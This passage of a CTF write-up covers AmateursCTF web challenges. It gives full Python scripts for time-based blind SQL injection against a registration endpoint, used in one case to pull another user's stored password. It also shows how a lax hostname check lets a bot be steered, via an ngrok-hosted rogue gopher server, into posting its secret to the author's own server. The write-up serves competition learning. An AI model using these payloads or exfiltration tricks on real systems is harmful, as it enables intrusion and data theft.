    check_payload =f"username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token='{token}')>0,SLEEP(5),0))--+-&password=test"
    res2 = requests.post(
      URL,
      headers=headers,
      data=check_payload,
      proxies=proxies,
      verify=False
    )

    if res2.elapsed.total_seconds() > 5:
      print(f"token={token}")
      break

Then, if you set the token to a cookie and access it, the password (flag) will be displayed.

web/go-gopher

It is a gopher problem.

The bot accesses the gopherURL entered on the Web, and the bot sends an HTTP request to the URL on the gopher response.

The flag of the HTTP request body that was sent is output, so we somehow retrieve it.

The bot side of the web runs bot.go and the gopher server side runs main.go.

bot.go

package main

import (
    "bytes"
    "fmt"
    "log"
    "net/http"
    "net/url"
    "os"
    "strings"

    "git.mills.io/prologic/go-gopher"
)

var flag = []byte{}

func main() {
    content, err := os.ReadFile("flag.txt")
    if err != nil {
        log.Fatal(err)
    }
    flag = content

    http.HandleFunc("/submit", Submit)
    http.HandleFunc("/", Index)
    if err := http.ListenAndServe(":8080", nil); err != nil {
        log.Fatal(err)
    }
}

func Index(w http.ResponseWriter, r *http.Request) {
    http.ServeFile(w, r, "index.html")
}

func Submit(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()
    u, err := url.Parse(r.Form.Get("url"))
    if err != nil || !strings.HasPrefix(u.Host, "amt.rs") {
        w.Write([]byte("Invalid url"))
        return
    }

    w.Write([]byte(Visit(r.Form.Get("url"))))
}

func Visit(url string) string {
    fmt.Println(url)
    res, err := gopher.Get(url)
    if err != nil {
        return fmt.Sprintf("Something went wrong: %s", err.Error())
    }
    h, _ := res.Dir.ToText()
    fmt.Println(string(h))

    url, _ = strings.CutPrefix(res.Dir.Items[2].Selector, "URL:")
    fmt.Println(url)
    _, err = http.Post(url, "text/plain", bytes.NewBuffer(flag))

    if err != nil {
        return "Failed to make request"
    }

    return "Successful visit"
}

main.go

package main

import (
    "fmt"
    "log"
    "net/url"
    "strings"

    "git.mills.io/prologic/go-gopher"
)

func index(w gopher.ResponseWriter, r *gopher.Request) {
    w.WriteInfo("Welcome to the flag submitter!")
    w.WriteInfo("Please submit all your flags!")
    w.WriteItem(&gopher.Item{
        Type:        gopher.DIRECTORY,
        Selector:    "/submit/user",
        Description: "Submit flags here!",
    })
    w.WriteItem(&gopher.Item{
        Type:        gopher.FILE,
        Selector:    "URL:https://ctf.amateurs.team/",
        Description: "Get me more flags lackeys!!",
    })
    w.WriteItem(&gopher.Item{
        Type:        gopher.DIRECTORY,
        Selector:    "/",
        Description: "Nice gopher proxy",
        Host:        "gopher.floodgap.com",
        Port:        70,
    })
}

func submit(w gopher.ResponseWriter, r *gopher.Request) {
    name := strings.Split(r.Selector, "/")[2]
    undecoded, err := url.QueryUnescape(name)
    if err != nil {
        w.WriteError(err.Error())
    }
    w.WriteInfo(fmt.Sprintf("Hello %s", undecoded))
    w.WriteInfo("Please send a post request containing your flag at the server down below.")
    w.WriteItem(&gopher.Item{
        Type:        gopher.FILE,
        Selector:    "URL:http://amt.rs/gophers-catcher-not-in-scope",
        Description: "Submit here! (gopher doesn't have forms D:)",
        Host:        "error.host",
        Port:        1,
    })
}

func main() {
    mux := gopher.NewServeMux()

    mux.HandleFunc("/", index)
    mux.HandleFunc("/submit/", submit)

    log.Fatal(gopher.ListenAndServe("0.0.0.0:7000", mux))
}

Looking at the processing of the Submit portion of bot.go, we can see that the host name check of the submitted URL is lax.

if err != nil || !strings.HasPrefix(u.Host, "amt.rs"){省略}

In this case, I can send a request to another domain such as amt.rs.selfhosted.com, so I can get a flag by the following process.

  1. prepare my own managed domain like `amt.rs.selfhosted.com
  2. run the modified main.go on amt.rs.selfhosted.com and listen for gopher requests
  3. start up an HTTP server at amt.rs.selfhosted.com and listen for flagged requests.
  4. submit gopher://amt.rs.selfhosted.com to https://gopher-bot.amt.rs/.

This time we used ngrok.

Prepare your own managed domain like amt.rs.selfhosted.com

I set the address assigned to TCP Address in ngrok to CNAME for amt.rs.rikoteki.com.

Run modified main.go at amt.rs.selfhosted.com and listen for gopher requests

Rewrite the index handler part.

The rewritten URL is the domain name that can be used for HTTP obtained with ngrok.

func index(w gopher.ResponseWriter, r *gopher.Request) {
        w.WriteInfo("Welcome to the flag submitter!")
        w.WriteInfo("Please submit all your flags!")
        w.WriteItem(&gopher.Item{
                Type:        gopher.DIRECTORY,
-               Selector:    "/submit/user",
+               Selector:    "URL:http://rikoteki.ng.ngrok.app",
                Description: "Submit flags here!",
        })
        w.WriteItem(&gopher.Item{
                Type:        gopher.FILE,
                Selector:    "URL:https://ctf.amateurs.team/",
                Description: "Get me more flags lackeys!!",
        })
        w.WriteItem(&gopher.Item{
                Type:        gopher.DIRECTORY,
                Selector:    "/",
                Description: "Nice gopher proxy",
                Host:        "gopher.floodgap.com",
                Port:        70,
        })
}

Execute.

Tunnel the local 7000 number in ngrok to the given TCP address.

ngrok tcp --region=us --remote-addr=7.tcp.ngrok.io:22365 7000

You can find it waiting for you at amt.rs.rikoteki.com.

Launch an HTTP server at amt.rs.selfhosted.com for the same and listen for requests with a flag on it.

Start up an HTTP server that can output the body since the body is flagged.

Tunnel HTTP 80 with ngrok.

ngrok http --domain=rikoteki.ng.ngrok.app 80

Submit gopher://amt.rs.selfhosted.com to https://gopher-bot.amt.rs/.

Submit gopher://amt.rs.rikoteki.com:22365 to Successful visit.

If you check the HTTP server, you will see that the flag is output.

web/gophers-revenge

This is an updated version of the go-gophers problem. It is a non-assumptive solution, but I solved it.

The hostname checking has been tightened up and a constraint has been added that the TLD+1 to which the HTTP request is sent must be amt.rs.

POST requests sent now have username and password parameters, with password being flagged.

Also, the response to a POST request now outputs a token cookie.

bot.go

package main

import (
        "bytes"
        "crypto/rand"
        "fmt"
        "log"
        "net/http"
        "net/url"
        "os"
        "strings"

        "git.mills.io/prologic/go-gopher"
        "golang.org/x/net/publicsuffix"
)

var flag = []byte{}

func randomString(length int) string {
        b := make([]byte, length+2)
        rand.Read(b)
        return fmt.Sprintf("%x", b)[2 : length+2]
}

func main() {
        content, err := os.ReadFile("flag.txt")
        if err != nil {
                log.Fatal(err)
        }
        flag = content

        http.HandleFunc("/submit", Submit)
        http.HandleFunc("/", Index)
        if err := http.ListenAndServe(":8080", nil); err != nil {
                log.Fatal(err)
        }
}

func Index(w http.ResponseWriter, r *http.Request) {
        http.ServeFile(w, r, "index.html")
}

func Submit(w http.ResponseWriter, r *http.Request) {
        r.ParseForm()
        u, err := url.Parse(r.Form.Get("url"))
        if err != nil || u.Host != "amt.rs:31290" {
                w.Write([]byte("Invalid url"))
                return
        }

        w.Write([]byte(Visit(r.Form.Get("url"))))
}

func Visit(gopherURL string) string {
        fmt.Println(gopherURL)
        res, err := gopher.Get(gopherURL)
        if err != nil {
                return fmt.Sprintf("Something went wrong: %s", err.Error())
        }

        rawURL, _ := strings.CutPrefix(res.Dir.Items[2].Selector, "URL:")
        fmt.Println(rawURL)

        u, err := url.Parse(rawURL)

        etldpo, err2 := publicsuffix.EffectiveTLDPlusOne(u.Host)
        if err != nil || err2 != nil || etldpo != "amt.rs" {
                return "Invalid url"
        }

        resp, err := http.Post(u.String(), "application/x-www-form-urlencoded", bytes.NewBuffer([]byte(fmt.Sprintf("username=%s&password=%s", randomString(20), flag))))

        if err != nil {
                return "Failed to make request"
        }

        cookies := resp.Cookies()
        token := ""
        for _, c := range cookies {
                if c.Name == "token" {
                        token = c.Value
                }
        }

        if token != "" {
                return fmt.Sprintf("Thanks for sending in a flag! Use the following token once i get the gopher-catcher frontend setup: %s", token)
        } else {
                return "Something went wrong, my sever should have sent a cookie back but it didn't..."
        }
}

The HTTP request must be sent to a subdomain of amt.rs, so I had to do something within it.

After thinking for a while, I realized that the user registration function in question, cps remasterd in 0 Point, takes username and password as parameters and sets a token in the cookie if the registration is successful. If you set the token and access the page, the password will be displayed and the flag will be taken.

The basic procedure is the same as in go-gopher, but I could not bypass the hostname check on the URL to send the gopher request, so I could not solve it this way.

We had no choice but to come up with another method.

About 10 teams had already solved this problem, so the cps remasterd database should have a user registered with the gopher-revenge flag as a password.

In addition, cps remasterd has SQLi, so it is possible to leak the password. So I got the flag with SQLi.

solver.py

import os
import requests
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL = "https://cps.amt.rs/register.php"

headers = {"Content-Type": "application/x-www-form-urlencoded"}
proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"}

password = ""
while True:
    for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$_.{}+":
      escaped_char = ""
      if c in "~!@#$_.{}+":
        escaped_char = "\\" + c
      else:
        escaped_char = c

      tmp_password = password + escaped_char
      payload = "username=test',IF((SELECT+COUNT(*)+FROM+(SELECT+*+FROM+users+WHERE+CHAR_LENGTH(username)=20+and+password+LIKE+BINARY+'"+tmp_password+"%')+as+t1)>50,SLEEP(5),0))--+-&password=test"
      res = requests.post(
        URL,
        headers=headers,
        data=payload,
        proxies=proxies,
        verify=False
      )

      if res.elapsed.total_seconds() > 5:
          password += c
          print(password)

      check_payload = "username=test',IF((SELECT+COUNT(*)+FROM+(SELECT+*+FROM+users+WHERE+password+LIKE+'amateursCTF\{" + tmp_password + "\}')+as+t1)>0,SLEEP(5),0))--+-&password=test"
      res2 = requests.post(
        URL,
        headers=headers,
        data=check_payload,
        proxies=proxies,
        verify=False
      )

      if res2.elapsed.total_seconds() > 5:
        print(f"flag={password}")
        os._exit(0)